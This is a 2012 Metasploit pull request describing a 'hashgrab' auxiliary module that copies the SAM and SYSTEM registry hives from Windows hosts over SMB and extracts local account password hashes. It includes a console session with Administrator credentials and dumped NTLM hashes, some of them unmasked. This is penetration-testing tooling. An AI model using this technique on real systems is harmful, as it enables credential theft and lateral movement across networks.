rapid7/metasploit-framework — pull request #1021 by R3dy (2012-11-06 22:47:08+00:00)
Title: Hashgrab

This module extracts local user account password hashes from a system or range of systems. It does so by using native windows functionality to store copys of the SYSTEM and SAM hive file in the WINDOWS\Temp directory and then download the hive files to the attacking machine to a directory specified at run time. Unless the module errors while running it will delete the hive copies from the WINDOWS\Temp directory. Once the hive files are stored locally they are opened up and the password hashes are extracted. Appears to work very well with threads tested on two large enterprise networks on several hundreds of systems simultaneously.

Only issue is with authentication. Sometimes it fails with "Login Failed: execution expired". Try again and it works, not sure what is the cause of this.

msf auxiliary(hashgrab) > use auxiliary/scanner/smb/hashgrab
msf auxiliary(hashgrab) > set rhosts 172.16.141.137
rhosts => 172.16.141.137
msf auxiliary(hashgrab) > set smbuser Administrator
smbuser => Administrator
msf auxiliary(hashgrab) > set smbpass @ccuv@ntL@bs!
smbpass => @ccuv@ntL@bs!
msf auxiliary(hashgrab) > show options

Module options (auxiliary/scanner/smb/hashgrab):

Name Current Setting Required Description
---- --------------- -------- -----------
LOGDIR /tmp/msfhashes2012-11-06-164109 yes This is a directory on your local attacking system used to store Hive files and hashes
RHOSTS 172.16.141.137 yes The target address range or CIDR identifier
RPORT 445 yes The Target port
SMBDomain WORKGROUP no The Windows domain to use for authentication
SMBPass @ccuv@ntL@bs! no The password for the specified username
SMBSHARE C$ yes The name of a writeable share on the server
SMBUser Administrator no The username to authenticate as
THREADS 1 yes The number of concurrent threads

msf auxiliary(hashgrab) > run

[*] 172.16.141.137 - Creating hive copies.
[*] 172.16.141.137 - Downloading SYSTEM and SAM hive files.
[*] 172.16.141.137 - Running cleanup on
[*] 172.16.141.137 - Opening hives from on local Attack system
[*] 172.16.141.137 - Extracting hashes.
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:f2a5ccba72161a5ffe1a7454d8b1c212:::
[+] Guest:501:aad3b435b51404eeaad3b435bxxxxxxx:31d6cfe0d16ae931b73c59d7exxxxxxx:::
[+] FS:1006:aad3b435b51404eeaad3b435bxxxxxxx:d7ac91c10d4d586a125890218xxxxxxx:::
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(hashgrab) >